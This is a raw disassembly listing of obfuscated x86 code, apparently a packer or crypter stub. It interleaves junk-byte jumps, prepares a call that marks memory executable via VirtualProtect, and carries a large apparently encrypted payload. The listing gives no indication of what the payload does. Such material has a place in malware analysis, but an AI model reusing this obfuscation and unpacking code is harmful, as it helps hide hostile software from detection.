		jmp	short loc_467D7A
; ---------------------------------------------------------------------------
		db 0E8h, 34h, 80h
; ---------------------------------------------------------------------------
		cmp	al, 22h


loc_467D7A:				; CODE XREF: DMN1:loc_467D73j
		xchg	edx, esp
		clc
		xor	edi, 9945EE68h
		jmp	short loc_467D9A
; ---------------------------------------------------------------------------
		db 0A3h, 0BEh, 9Fh
		dd 0BBF81B23h, 0CBD8B946h, 0CFC73E7h, 0E93F11D4h
		db 12h,	6Eh
; ---------------------------------------------------------------------------


loc_467D9A:				; CODE XREF: DMN1:00467D83j
		xchg	eax, ecx
		clc
		xchg	esp, esi
		jmp	loc_467552
; ---------------------------------------------------------------------------


loc_467DA4:				; CODE XREF: DMN1:00467D55j
		xchg	ebp, ecx
		xchg	esp, esi
		jmp	short loc_467DB3
; ---------------------------------------------------------------------------
		dw 0FBD8h
		dd 0EA1B1CFh
		db 0E6h, 0A1h, 5Ch
; ---------------------------------------------------------------------------


loc_467DB3:				; CODE XREF: DMN1:00467DA8j
		cld
		jmp	short loc_467DCC
; ---------------------------------------------------------------------------
		jnp	short loc_467DF5
		adc	eax, 0AFA7F218h
		pop	ecx
		push	cs
		paddusb	mm1, mm6
		mov	ds:0EBE94B41h, al
		mov	edx, 2B270FB2h


loc_467DCC:				; CODE XREF: DMN1:00467DB4j
		jmp	short loc_467DE9
; ---------------------------------------------------------------------------
		dw 58B3h
		dd 74A20F3Fh, 6ECC21F5h, 0B74D3992h, 0FD7C03AEh, 4FF7A2ACh
		dd 0DBE18C7Eh
; ---------------------------------------------------------------------------
		dec	eax


loc_467DE9:				; CODE XREF: DMN1:loc_467DCCj
		jmp	short loc_467E04
; ---------------------------------------------------------------------------
		db 0BDh
		dd 2FE2217Ch, 8D26257Ch
		db 0B1h
; ---------------------------------------------------------------------------


loc_467DF5:				; CODE XREF: DMN1:00467DB6j
		sub	[edi-72h], ch
		clc
		or	edx, [ebx]
		das
		cmp	al, 6Dh		; CODE XREF: DMN1:loc_467E0Ej
		jz	short loc_467E1A
		sbb	ecx, eax
		aas
		inc	ecx


loc_467E04:				; CODE XREF: DMN1:loc_467DE9j
		cmc
		jmp	short loc_467E11
; ---------------------------------------------------------------------------
		db 88h
		dd 252E3BA6h
; ---------------------------------------------------------------------------
		test	al, 0D2h


loc_467E0E:				; CODE XREF: DMN1:00467E28j
		jnz	short near ptr loc_467DFC+1
		xchg	eax, edx


loc_467E11:				; CODE XREF: DMN1:00467E05j
		jmp	short loc_467E2C
; ---------------------------------------------------------------------------
		db 0ADh
		dd 0A4AF25F0h
; ---------------------------------------------------------------------------
		aad	23h


loc_467E1A:				; CODE XREF: DMN1:00467DFEj
		or	[ebx-1], ebx
		push	eax
		sub	al, 0E5h
		rep mov	dword ptr [ebx+11h], 32A5AE46h
		jecxz	short loc_467E0E
		add	ebp, edi


loc_467E2C:				; CODE XREF: DMN1:loc_467E11j
		jmp	short loc_467E3D
; ---------------------------------------------------------------------------
		dw 0C2CDh
; ---------------------------------------------------------------------------
		mov	ch, 0D1h
		dec	ecx
		retf	279Ah
; ---------------------------------------------------------------------------
		dw 736Fh
		dd 58B6D787h
		db 75h
; ---------------------------------------------------------------------------


loc_467E3D:				; CODE XREF: DMN1:loc_467E2Cj
		jmp	short $+2
		jmp	short loc_467E58
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		dw 0F56Ch
; ---------------------------------------------------------------------------
		adc	[edi-7EA27F8Eh], dl
		mov	ds:57BF2A33h, eax
		aad	9
		nop
		adc	[ebx+ecx*2-60h], dh
		stc
		cwde


loc_467E58:				; CODE XREF: DMN1:00467E3Fj
		jmp	short loc_467E6E
; ---------------------------------------------------------------------------
		mov	eax, 4294785Ch
		cmp	ah, dl
		retn	0AEF2h
; ---------------------------------------------------------------------------
		dd 9C237B83h, 28054FB2h
		db 73h,	84h
; ---------------------------------------------------------------------------


loc_467E6E:				; CODE XREF: DMN1:loc_467E58j
		stc
		jmp	short loc_467E7E
; ---------------------------------------------------------------------------
		db 0C5h, 0EDh, 11h
; ---------------------------------------------------------------------------
		mov	dword ptr [edx+6EE3CDEDh], 295FF01h


loc_467E7E:				; CODE XREF: DMN1:00467E6Fj
		jmp	short loc_467E90
; ---------------------------------------------------------------------------
		dd 0D49E9080h, 5B838CB9h, 0CF7D53F0h, 3B6C46FCh
; ---------------------------------------------------------------------------


loc_467E90:				; CODE XREF: DMN1:loc_467E7Ej
		pop	edi
		jmp	short loc_467E9E
; ---------------------------------------------------------------------------
		db 20h
		dd 6FC12F13h, 0F4FC0CE5h
		db 0Bh,	90h
; ---------------------------------------------------------------------------


loc_467E9E:				; CODE XREF: DMN1:00467E91j
		cmc
		jmp	short loc_467EAE
; ---------------------------------------------------------------------------
		db 1Fh,	96h, 36h
		db 90h
		db 34h,	73h, 48h
		dd 9BDF7763h
		db 6Dh,	0A9h
; ---------------------------------------------------------------------------


loc_467EAE:				; CODE XREF: DMN1:00467E9Fj
		jmp	short loc_467ECB
; ---------------------------------------------------------------------------
		dd 0A57299E4h, 0B846DCh, 0BE734FE3h, 0F378EC0Ah, 0D0CC464Eh
		dd 6C92F1F2h
; ---------------------------------------------------------------------------
		xor	[ebx+7Fh], dh


loc_467ECB:				; CODE XREF: DMN1:loc_467EAEj
		jmp	short loc_467EEB
; ---------------------------------------------------------------------------
		db 0ADh, 43h, 0A5h
		dd 2E1A73B1h, 8178335Dh, 0D439D8B2h, 0A4FA98EFh, 966B27FBh
		dd 11303089h
; ---------------------------------------------------------------------------
		les	ebx, [eax]
		dec	ebp


loc_467EEB:				; CODE XREF: DMN1:loc_467ECBj
		jmp	short loc_467F03
; ---------------------------------------------------------------------------
		db 67h,	0BDh, 5Eh
		dd 194784DAh, 8FF7123Bh, 4AC1CC38h, 0C5F256DDh
		db 0Eh,	51h, 7Fh
; ---------------------------------------------------------------------------


loc_467F03:				; CODE XREF: DMN1:loc_467EEBj
		shl	ebx, 19h
		jmp	loc_466EEC

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_467F0B	proc near		; CODE XREF: DMN1:00467F75p

var_24		= dword	ptr -24h
var_18		= byte ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	edx, 391E7942h
		xor	edx, 5FF57DEDh
		mov	eax, 10000000h
		add	edx, eax
		add	esp, 10h
		mov	ebp, [esp-10h+arg_4]
		push	edx
		pusha
		push	0
		lea	edx, [esp+18h+var_18]
		push	edx
		push	40h
		push	15B32h
		add	[esp+24h+var_24], 1000h
		push	eax
		add	eax, 1000h
		add	eax, 46023h
		call	dword ptr [eax]
		add	esp, 4
		popa
		retn
sub_467F0B	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	ecx, 8000h
		mov	edx, 4C271B38h
		mov	eax, 383D2E0Bh


loc_467F65:				; CODE XREF: DMN1:00467F72j
		add	eax, 19776617h
		xor	edx, eax
		add	dx, ax
		rol	edx, 7
		loop	loc_467F65
		push	eax
		call	sub_467F0B
		leave
		retn
; ---------------------------------------------------------------------------
		dd 17h dup(0)
		dd 45000100h, 50746978h, 65636F72h, 1007373h, 72695600h
		dd 6C617574h, 746F7250h, 746365h, 47000h, 4700Eh, 0
		dd 6E72656Bh, 32336C65h, 6C6C642Eh, 2 dup(0)
		dd 0FFFFFF00h, 4702BFFh, 4701F00h, 5 dup(0)
		dd 4600000h, 1000h, 3B4500h, 4Fh dup(0)
		dd 0F3B5EF00h, 68A86A29h, 528DA2A1h, 0EC713FFDh, 0B593133Ch
		dd 8C87A9EEh, 0D3CB325h, 855501DBh, 0C1EDC085h,	33D774AEh
		dd 0AB54FEA7h, 861A5491h, 0F7469B2Bh, 0C84328Bh, 0E0A14902h
		dd 8BCC5355h, 668A711Ah, 0F67A2843h, 5F2FA6Ch, 44EBF027h
		dd 3A36388Ch, 0D2F9C9C0h, 7A77FC6Bh, 4D39297Ch,	0B7C91FC1h
		dd 276CB588h, 7E9D62Ch,	3B419E6Dh, 0DE853F34h, 0FEA104D4h
		dd 0B960F10Ch, 2EB18A52h, 498510F2h, 0E2B7D3B6h, 3B56E5C3h
		dd 1485C1A2h, 3B77A76Ch, 0EC79E58Fh, 3B8039EBh,	9F4D0784h
		dd 0A358D802h, 0E364946Dh, 60B64687h, 0AA5EAB45h, 7EB1209Bh
		dd 6A0531C7h, 2EADD8C0h, 3F1F06BFh, 0CADC43BCh,	88BF6E6Eh
		dd 0E3C81199h, 0F22EB997h, 56735388h, 31A2478h,	21636B8Bh
		dd 0CBDFC6BEh, 8FA3E59Ch, 8A7B6BC4h, 836A372Ch,	0E2C6FF6Eh
		dd 0EE199261h, 3A43CFA6h, 299D2444h, 0D4793775h, 0A8EFAB89h
		dd 533C05A7h, 6A8A2216h, 4A07B772h, 3825CA32h, 3CC8A050h
		dd 0D8F7D859h, 6B364F3Dh, 27F10ACAh, 0FC02881Eh, 57185D84h
		dd 8A660412h, 5E322BBh,	0CEC11ED4h, 0E1939DA2h,	0D6ED211Bh
		dd 0E8E144C5h, 0AF9EF665h, 18C32FC8h, 4E97BB8Eh, 9CFF5DFh
		dd 2316E996h, 81DD0F4h,	64569DADh, 0CA9E89Dh, 3A2F8AE3h
		dd 323410FFh, 0A9082244h, 26D5B65h, 0F23F4DA1h,	2569BE0Fh
		dd 7CE05FEFh, 0B5CA2E22h, 8BD89AD9h, 87B9C353h,	4B3F87ACh
		dd 4F12F5C3h, 8B8B564Dh, 2FC5BFC8h, 33DD309Eh, 685BB512h
		dd 1C7881F4h, 3536415Fh, 7F4F35AAh, 0BF045AB5h,	6ABA1278h
		dd 0EDE71CEFh, 6207F1DDh, 174DA099h, 0B6DB366Ch, 6E2BC9D2h
		dd 0A1021D1Dh, 338458E8h, 0B275E70h, 57BED1C6h,	7814F675h
		dd 0A677BD20h, 6E9AD410h, 58528979h, 4DE1F161h,	16D37BBFh
		dd 0BF640318h, 0BCDD2B9Ah, 0FF2E0A80h, 0B7291E61h, 4ABD6E5Ch
		dd 1120D77Bh, 48DFB0DBh, 0E9A91459h, 0BE6837BEh, 0CB31052Ah
		dd 17693795h, 64C5385Eh, 38247A66h, 23258F22h, 96B570B4h
		dd 39AA157Ah, 7F39530Eh, 1370579Bh, 0AD6F4688h,	0E28DE5ACh
		dd 43BE44EDh, 1C9141BAh, 43CECB92h, 0A536F40Ah,	3208F4EEh
		dd 4214D9DFh, 0AFAC6871h, 1941B8C1h, 0E47A0A7Fh, 0D12AE080h
		dd 7381A99Dh, 0AB7BC86Eh, 485B5AAFh, 94935314h,	95F2E6FCh
		dd 0F610558Ch, 42C38738h, 0DCBB644Eh, 985DF797h, 68C650E7h
		dd 0E21FA69Ch, 3B52B921h, 0E402101Dh, 0E93DC935h, 5DFAB04Dh
		dd 2B1334C2h, 9C821D65h, 0E79DF81h, 470EDEC8h, 7F7E7226h
		dd 0AB8D4DD2h, 8BC1EE70h, 0F340B3E3h, 583858B3h, 8044ECF7h
		dd 6B76537Ch, 2CA9EF9Ch, 0D07ECA39h, 51BCFB4Dh,	0A1831811h
		dd 469A5170h, 8456FA4h,	0A3BC8005h, 0A070C2BCh,	0F192E170h
		dd 8EE04BDBh, 0DAD9A50Dh, 174DDA3Ch, 0A3F789C4h, 0DBE70E55h
		dd 6291EF6Eh, 3131B512h, 0BE5E532Eh, 51FE7EF1h,	43E4AEB2h
		dd 57FCAA47h, 0F590ED4h, 0C10F9E8Ch, 72871F8Ch,	0B29F8BBDh
		dd 79C30127h, 662100BAh, 0AE9C51AEh, 4A59814Ch,	0F3E7FA3Eh
		dd 807137A2h, 0D3C08D33h, 7D1C224Bh, 40ACDD4h, 4FE49963h
		dd 8874BFD3h, 0F45D5434h, 385DE815h, 8CFF93DEh,	840F4C6Bh
		dd 0C1F3A232h, 877A8DB3h, 0F230EA37h, 213C9520h, 15BA158Eh
		dd 82AADDAAh, 3ED40241h, 0D1B43601h, 0E6F3859h,	22357244h
		dd 4F89BFFCh, 0F4CF93D4h, 0E3A54498h, 473CA57Ah, 952E2489h
		dd 738A5ABDh, 5C8310Ah,	0CAE2174Ah, 0D21B7BE0h,	0D842EB5Ch
		dd 9F2D3F0Ch, 9963F0E5h, 863BB0BBh, 0FFEBFA16h,	42EA20F9h
		dd 1BDE42D2h, 894D2F50h, 0DAA34FDDh, 3BD6AC30h,	5BB05C6Ch
		dd 60C2A673h, 0C9C4C458h, 0FA8DBF23h, 7D5044B9h, 94AD79BCh
		dd 9CDE5611h, 3B21C15h,	2588A2AFh, 3ADC2BC7h, 14B8284Dh
		dd 12D8590Bh, 59007DF9h, 0DBF6A50h, 5D313F8Eh, 0E1D98131h
		dd 58384C91h, 8561010Fh, 7951D421h, 61565B86h, 732BD5C2h
		dd 56CB1905h, 0FF7BBE1Fh, 8FCB0ECCh, 0A1AD02F7h, 17F07C98h
		dd 79C5A7E9h, 438540C8h, 0C169B6BCh, 6124F058h,	1B13116Bh
		dd 5E2788FAh, 8A67A91Dh, 0C3E9CED3h, 0B838BE2Ch, 62675590h
		dd 81B1C4D2h, 948136C5h, 314D4EC2h, 0B0964A09h,	1D67E9C9h
		dd 96C62EE4h, 2D851209h, 5C670672h, 0FA2D8AC2h,	0CA59EF0Fh
		dd 0A7813D2Dh, 248C6D83h, 8E9D53C4h, 0B66CE643h, 0CC025BBAh
		dd 3A9A4E62h, 48DCE203h, 9DB7BC6Ch, 0BA867351h,	0ABCAE54Eh
		dd 0E6AC32E9h, 46997838h, 0B6C99FA9h, 2897C5E2h, 7AE74E2Bh
		dd 0DBC07661h, 394CD879h, 62B65F25h, 4D08610h, 0D0623E3Eh
		dd 0F82902ABh, 0E43200ABh, 0B512E3A1h, 4D85C439h, 0E3D55BB5h
		dd 0F50477FAh, 7CA60DF7h, 867EFD95h, 231E21A7h,	68BC6531h
		dd 0EB5CEBB2h, 7CFDE87Ch, 464B38C7h, 79A316DFh,	0B03C5F8Dh
		dd 714830C1h, 530E96EDh, 2FEF72C2h, 1FDA1B52h, 2E09EF8Bh
		dd 83088F87h, 68DA525Ah, 6E7E23DCh, 7FDCD5C0h, 0E571778h
		dd 81516474h, 682CCFA7h, 0CA9DA3D2h, 931BBC32h,	0C154F6B8h
		dd 4452EC09h, 939FAF70h, 292D6FB2h, 0A007B436h,	0ABDA300Bh
		dd 50FAE844h, 0BC1EA80Eh, 0B0974568h, 331F7999h, 0E79A05ECh
		dd 9634CFB2h, 0B8FF24C9h, 0F67FC727h, 0CAEFD714h, 24DB0CD6h
		dd 4B471B1Dh, 1905DB44h, 22F395BCh, 0DDC0927Ch,	5FF604C5h
		dd 33C39Ah, 0F17D75C8h,	0CA26BBB9h, 9E7E9296h, 4111134Ch
		dd 7A0A0E71h, 6DBD9545h, 0B38C3355h, 8976F173h,	1ECAD40Ah
		dd 0BA1B847h, 0A23849Eh, 9A14EF5h, 831A7E06h, 2CE973A9h
		dd 25E97DDAh, 754978FCh, 18732BCBh, 5DDD8C2Ah, 25D470ECh
		dd 0EC64C66Dh, 6D4106CDh, 4BE14E31h, 0C0FC0092h, 1F050CF6h
		dd 0D4293F89h, 0AB2F1C97h, 0F0FE6DBEh, 0A2ED6AFFh, 60B19C07h
		dd 0F02F64B3h, 0D9F8E669h, 0A17EFB3Ah, 4C894DB2h, 0CA7640DEh
		dd 0C1E9246Eh, 1A19ED2Eh, 0B32DD1BCh, 56916363h, 156EA18Ch
		dd 0AD8356E2h, 0AF59D896h, 9AD33462h, 0AB1189F7h, 0DC0BBB2h
		dd 59A8C29h, 0F47B00B1h, 0EEDECF04h, 0BDB33C99h, 3C199410h
		dd 5F413405h, 0B2C7C8F5h, 0D88AE6F8h, 0F8AF73C8h, 60D4643Dh
		dd 274903F5h, 0DBB60FA3h, 15009B24h, 94BFAF15h,	0D15D10EAh
		dd 0A4D3264Bh, 0B4915DE2h, 0DD5B8E79h, 6BBAEC25h, 0BE8FCF96h
		dd 0E3665AA4h, 0D6FACC02h, 4C399433h, 0F2E5113Ch, 4581C84Dh
		dd 0E6D7C6Ah, 427C7F3Dh, 357A087Ch, 748C34A2h, 0BBFE026Eh
		dd 0EC85341Ch, 999185DAh, 33356F72h, 0A469487Bh, 38FEB334h
		dd 51C05CCAh, 0CF884366h, 5586EDE4h, 4F9BBFF3h,	0D3F70123h
		dd 0DB238FAAh, 88F1916Fh, 0EDA36DE0h, 72DE9CDEh, 0D2C7C7E5h
		dd 0BA9F5D43h, 1BF9D6B1h, 6196B63Bh, 0FA33F064h, 0D36C2358h
		dd 70E587B8h, 0F5453055h, 77FD13A2h, 0B74EEBB0h, 9D291254h
		dd 92241DAFh, 0C20C1379h, 2B84B96Ah, 3ACE66Ch, 48FB1A17h
		dd 6D2D4FFAh, 0EB58C496h, 9309E11Eh, 0E2A8932Eh, 9885FA8Ch
		dd 0E1E76C3Eh, 0EDC323B6h, 0BE3707B6h, 48F0E25Bh, 0EAE2CB7Fh
		dd 854A913Eh, 0B230CF9Ch, 3F5D4E46h, 0FE39EBDCh, 0B775D1FBh
		dd 0A19470DDh, 0F619010Ch, 0F8B3A303h, 6C29E449h, 4C2347CEh
		dd 6CDEC96Bh, 61A1A412h, 0E144A0B0h, 7CB44AFDh,	1AC43DC0h
		dd 9F676044h, 0CEA864D0h, 2BB46867h, 0CC623298h, 0F34738AAh
		dd 65EB9D21h, 0D68C779Ch, 0E64B7671h, 0F92FB0F3h, 0A04519B3h
		dd 3EF2A2BFh, 2AEE538Bh, 0ECD67AF9h, 86CA3929h,	79D0FA31h
		dd 5BABDE38h, 3D5BCC20h
		dd 0BC32FC4Ah, 0F432F82Bh, 1EEEDCDBh, 0F755DDE5h, 0E64043Ch
		dd 72E610h, 0CD301F31h,	9B78F3F3h, 0E548592Bh, 2755D2E1h
		dd 90287B8Ch, 8111DB05h, 0EF2F84A6h, 9D44E7B5h,	20597E94h
		dd 223C9285h, 1C4C1C57h, 0AA5BD69h, 94B5FCF4h, 868602D1h
		dd 327AD3D4h, 14CDA653h, 48CAECF7h, 0F1174F97h,	0D6FA0D6Bh
		dd 4EA1B466h, 0B77483F8h, 0A6DBAA1Eh, 0C47006BBh, 7D0DF578h
		dd 2E7840A4h, 0DEAD2834h, 0F456B0C0h, 81B539D0h, 8D527FA9h
		dd 7717E610h, 928CE543h, 0BFEF094Fh, 32C95AE3h,	0D3965097h
		dd 0F6D2C91h, 0DD32033Bh, 45826A09h, 71B5BFB5h,	2BE20E2Fh
		dd 3E6E7EB0h, 0A77A1FD8h, 15B14035h, 470503CBh,	36226DE7h
		dd 97501108h, 0FB83C095h, 0DE357DCCh, 0BC98CF96h, 334D2C21h
		dd 6593815Ah, 0FB7532E4h, 88C5A1D8h, 192F8B7Ch,	7A783AF7h
		dd 66FA8AFFh, 95463FCh,	268D286Ch, 4A7CC4B7h, 1A18C6CCh
		dd 8BCF6F19h, 68E096A3h, 5D164F0Eh, 0D256CBD3h,	49C9842Ah
		dd 0F50FB018h, 596ED12h, 0FBEF02C8h, 1268118Bh,	3FB2CC97h
		dd 8EFD9332h, 9E756C96h, 73E04265h, 6B934A4Dh, 0C4BE7E74h
		dd 0D2BCDB07h, 5E9B03EFh, 0A07DE7BFh, 0DEBD4F49h, 8A7C1B4Fh
		dd 67C7E77h, 2481D26Ch,	0D10358C6h, 0D8626545h,	0A4371E1Ch
		dd 0BC80908Ch, 5793FB96h, 0DE55B1AFh, 0C86536A4h, 22AB866Ah
		dd 8C24DD54h, 0F5336122h, 5E4AF4C3h, 0F0700743h, 0BF1D4C18h
		dd 48296CB0h, 7510A42Ah, 0E064EFFAh, 84ABA598h,	0BDDF8A74h
		dd 0E97A591Fh, 3619A18Bh, 58BED6ADh, 4D3D07EBh,	479616C4h
		dd 37DEC8A7h, 0AF15AA73h, 0F874905Ah, 6074DC8Eh, 63AF05C4h
		dd 5B4A3612h, 0A598F535h, 8E2E0F31h, 5E3BA91Ah,	6165ADC0h
		dd 78871FF7h, 946ED069h, 39B34D50h, 0AC572B34h,	7CEC4CD0h
		dd 0A8945326h, 6EDE14BFh, 80F8B500h, 0E9E6656Ah, 7F4A97D6h
		dd 43515120h, 868E761Ch, 0A14CC4B9h, 528EDD70h,	13B50D2Fh
		dd 0D60EDD75h, 3B01200Ah, 9A1A23E5h, 1356913Ah,	0A4D3EC7Fh
		dd 6D2712ABh, 40A3393Fh, 0EB748BABh, 8E0D5B28h,	0BD102445h
		dd 3CF0E0B0h, 0EF4D7C15h, 0C5DB8C11h, 0D9451A0Bh, 59A69F09h
		dd 36FD224Ah, 0F1B3261Bh, 0ECEE546Ch, 1C54E47Ch, 0B0265F9Fh
		dd 9FFFEACDh, 0E333C3F6h, 3212DEA5h, 0E8DD3880h, 95B443F9h
		dd 0C9B80771h, 1438B7AAh, 0CA5FE8DEh, 472B4446h, 0E6F732D4h
		dd 2B3C1E26h, 0D333A935h, 3B99D7Fh, 2D229566h, 758E275Ah
		dd 0D9481D6Fh, 0D3CCD499h, 46D9647Ah, 0F78527BAh, 40C1155Dh
		dd 2C9596B1h, 650B2F76h, 2E1F0BAh, 8B98010h, 0EEBA458Ch
		dd 328CEFFAh, 3E2771A9h, 0B13B3E28h, 0CA8BE4A5h, 50DA6C6Eh
		dd 0CBCC81D2h, 0A3E3D85Bh, 0BCCBB78Bh, 214DE242h, 5FAC1F12h
		dd 0FC4C071Bh, 0D800E496h, 0BF86282Ah, 0F6A22C2Ah, 74AD2CB3h
		dd 0E02A5A40h, 6F9A7116h, 35910BC9h, 3673CA69h,	34088573h
		dd 59F3F0F0h, 0C5BB7748h, 0C1705007h, 0B1F5FCF4h, 64641DC7h
		dd 0FFA5B9BCh, 0F9EC746Dh, 0F5720184h, 1698CE26h, 0F9F6847Fh
		dd 0D1801A51h, 1DDA7404h, 888FC522h, 7108CEB3h,	2A50DCE4h
		dd 515C6E01h, 0D5399000h, 984393D7h, 9B97A74h, 6A5CA8A7h
		dd 6447EEA8h, 0C6203A03h, 910C7C6Dh, 57C50C13h,	6D211467h
		dd 373C0428h, 75A302ABh, 3F6DC0B0h, 836E8625h, 4B353787h
		dd 0D36A8F9Ah, 0E9BDDF4Dh, 649C254Ch, 6B3DA1FBh, 0BF9A31F2h
		dd 293D939Dh, 983168CAh, 7E770825h, 56FC1C3Bh, 9218307Dh
		dd 0C657CE75h, 0FFE8D944h, 0EF824F75h, 0D0A9B942h, 62EBFFEBh
		dd 295D6570h, 48E2C4B1h, 0A264360Fh, 211E4CB7h,	2905E3E1h
		dd 13DBCC81h, 94D57963h, 0CA02C44Dh, 23886590h,	27354D5Eh
		dd 91B8954Fh, 0F46F5EAh, 185D69E4h, 9D31C7B9h, 85E523C0h
		dd 9174EA32h, 1FA9EE69h, 0A89BECCFh, 778BC50Ch,	3B4BFBD1h
		dd 63ED3D11h, 85D3AF76h, 0FDC87329h, 0A7D32374h, 0E2C17D9Ch
		dd 0C49DA2D3h, 0DFAC4A3Fh, 0BA23B4AAh, 24D29763h, 519BF22Ch
		dd 698D9EB7h, 95B62914h, 0FC8BE4Dh, 45DAA0C2h, 51DFB020h
		dd 48D30D92h, 0FD991ED2h, 0C9C461BAh, 0DD0041DCh, 41B505DDh
		dd 283D2D0Ch, 2EAE3625h, 0B0BDFC1Ah, 0C5A61CA2h, 0ABC1D330h
		dd 9ED87D35h, 8A6A5B06h, 0D48EF352h, 66D1FDE4h,	227F33FDh
		dd 0A5ADBF8Ah, 0B8787F27h, 86E45F4Dh, 2724A0F7h, 0DA37EB66h
		dd 98999B10h, 8D6DAE30h, 26D23783h, 29489FD7h, 21CB73EDh
		dd 84229EA4h, 0F4CAB9FEh, 0E99212EFh, 1D775ED4h, 0CD125809h
		dd 3BAA59E2h, 41BB133Fh, 0C747C4C7h, 338E4658h,	0D4726DB0h
		dd 0D43EB3F7h, 555C9D6Dh, 6E9E9098h, 75B7C868h,	97A802B1h
		dd 0BE0BFC3Eh, 3527718Fh, 271106CFh, 6129A7CBh,	293CA0FBh
		dd 0FAE90B6Fh, 3DAC3111h, 0C4B02903h, 9A12338Dh, 6C3F828Eh
		dd 0FCBEE10Fh, 0A4111491h, 0B6A1D40Dh, 0EF26CC5Dh, 5ED3B37Bh
		dd 64BE8611h, 0ED0B57C5h, 0E6E0F703h, 2486221Ah, 0A22C3358h
		dd 0D2EEB107h, 35F6E3DBh, 1D659329h, 0F6EE7332h, 0C95D2E1Ch
		dd 0C3E937A6h, 0C9FADDAEh, 79EFB486h, 0F57D8C5Eh, 0A285575Dh
		dd 50841BF1h, 1E6ADC42h, 0D3C385C5h, 89EBB572h,	935C6240h
		dd 0D2A85832h, 0D2F54F7Dh, 0A9159F2Ch, 0E389BEB7h, 9E4031D7h
		dd 0E817E0Ah, 7B191F00h, 0A00B94F7h, 1134B27Ch,	0FD2FB15Eh
		dd 0F0350457h, 368E180Fh, 65BD407Fh, 4DAAA0Ah, 4F7508E9h
		dd 0AA1B2FB3h, 0F7771E76h, 0C6404F97h, 97C95B97h, 64375D37h
		dd 7F802E9Ah, 2D5C5EADh, 0B6313088h, 7BC533AEh,	31091453h
		dd 1E6BC1BEh, 1C9D3A14h, 13420649h, 0C120828Dh,	0E28B63E6h
		dd 0B63B2C1Ah, 0BF5DE68h, 821D8E14h, 0CB946CDBh, 0F4AA753Bh
		dd 0B6736EBBh, 6D93A5A6h, 3FDD949Dh, 0B419E329h, 908AF760h
		dd 7F9BEAB4h, 0BE958256h, 0AAF9DD94h, 835A14ACh, 0A489C00Ch
		dd 0BAEEF907h, 5198E7B8h, 24C36148h, 5606FB1Dh,	83B482B0h
		dd 389C507Ch, 0C44F3451h, 9C5C4658h, 0ED80E76Ah, 5F6BAA86h
		dd 590192h, 2053EB2Ah, 0BDE77CA2h, 7E1583D1h, 2F144BDAh
		dd 99025Ch, 9605F129h, 5E5E7D93h, 0BE0D3CE0h, 0C0C28C1Bh
		dd 0C8BE7830h, 5EAD5D40h, 13B30B26h, 843E9CBFh,	8B9EB1F8h
		dd 25E3104Ah, 7D347DDAh, 662E3EDCh, 7A4AF03Ch, 631E8DC9h
		dd 472BFE2Eh, 5B24F0D2h, 22201B5Ah, 0C4DDBE82h,	14904AE1h
		dd 0C8D1F7ADh, 320240E8h, 0A6999979h, 5576ACACh, 7BC87CDCh
		dd 18C92FADh, 6393ADE9h, 88DB06A5h, 8754D88Ch, 0DD4A8249h
		dd 7618E1A2h, 5E604C7Dh, 5E224204h, 3369DA46h, 0C4AAE0F0h
		dd 47B57851h, 175D650Ah, 1FF366Bh, 8ABF3F12h, 1C44D130h
		dd 197322CEh, 0EB4E8197h, 3FDF77DFh, 0F6A2CACCh, 0FE5BCAD5h
		dd 1E67B566h, 0C048E00Bh, 1566D58Dh, 27A1A5ECh,	0FD0F7A39h
		dd 669C8705h, 0FA7CE10Bh, 0A3690347h, 135E9637h, 982CBD60h
		dd 2B5D67E5h, 0AB9E06A5h, 76C75C1Fh, 0C04A2B5Fh, 0B229AE63h
		dd 44079543h, 2FC18F71h, 487B4399h, 25FED925h, 825ACE68h
		dd 908C0DDDh, 387A31D9h, 2F7FD7A0h, 0EE116579h,	0FF9FC58Dh
		dd 6B325B89h, 5A615A1Bh, 0C917D33Bh, 0E4988B95h, 0A579EC62h
		dd 2819136Ch, 506C3A26h, 0F484717Dh, 0A8A0BC5Ch, 4F34E664h
		dd 0FA15782Dh, 2733B7FFh, 4FCAFD4Eh, 8ED85BAh, 5B0E6F75h
		dd 84D01CE1h, 0B71D9113h, 63E6486h, 0E857D84h, 0FC165703h
		dd 6E2CC73Eh, 7357A71Ch, 0B78266C4h, 0B3CFD449h, 0AC72C135h
		dd 1535FDC0h, 6F945A81h
		dd 0D3E1CD21h, 7F63D3E9h, 0C8EF21E3h, 0AAE50B6Eh, 2A5A2723h
		dd 3C637B41h, 0B09EF893h, 0E2432C78h, 488BC5C2h, 8AFB3469h
		dd 0C572875Eh, 21AF66F5h, 0CF09C900h, 6251D474h, 0B51D469Ch
		dd 4B028352h, 57FEED87h, 68AAE893h, 0A96861CAh,	0B26C4630h
		dd 0C5B570F3h, 37A973A6h, 0F8CC11AEh, 9B314B98h, 2C65B218h
		dd 0A1DC428Eh, 38AE2246h, 0FF9D6D5Fh, 750BA8C5h, 34037BBDh
		dd 0DA33A68Dh, 39253DCAh, 69A23C11h, 16C0C4FCh,	0CB9DBA76h
		dd 0A59F096Ch, 0AA4F6952h, 50ABCA38h, 284853C6h, 0E431E4F4h
		dd 0A11C8410h, 95A8B584h, 40FACD46h, 3FF3F855h,	0C29A10B9h
		dd 9B32A8FDh, 0A92C356h, 0D927DA6h, 0D69899F3h,	7368AA5Bh
		dd 562F740Dh, 0AFC65505h, 0AC19A81Bh, 0FA00C4DAh, 5E0D4FA9h
		dd 78D32E22h, 89645D7Eh, 0B11CADA4h, 414134E9h,	98BE4E54h
		dd 0BD412915h, 5B20E853h, 365D8274h, 0FAC00EF4h, 50DBDFF1h
		dd 8F7FC0A5h, 197B61FAh, 0B83D01EBh, 0A2D4A168h, 0D9343E3h
		dd 0F5E997BCh, 8714DCC9h, 2EECB9E7h, 6B1DD05Dh,	0D1272BA7h
		dd 38DE03D6h, 0F6BF8C26h, 0A35EFB4Ah, 0F79A65AFh, 18789C61h
		dd 1075F8B3h, 5EE341FCh, 0ABEAAF66h, 8B0546B2h,	0AF2C3C44h
		dd 0E89AB071h, 0D3C4FFE5h, 0A85A8C2Eh, 13D6184Ah, 388B4F75h
		dd 56C050BFh, 2ACB2453h, 0A93CA555h, 4C4BA94h, 0DE15BBE6h
		dd 0CA749355h, 0A6A05249h, 92824C02h, 356B8DFEh, 50F80005h
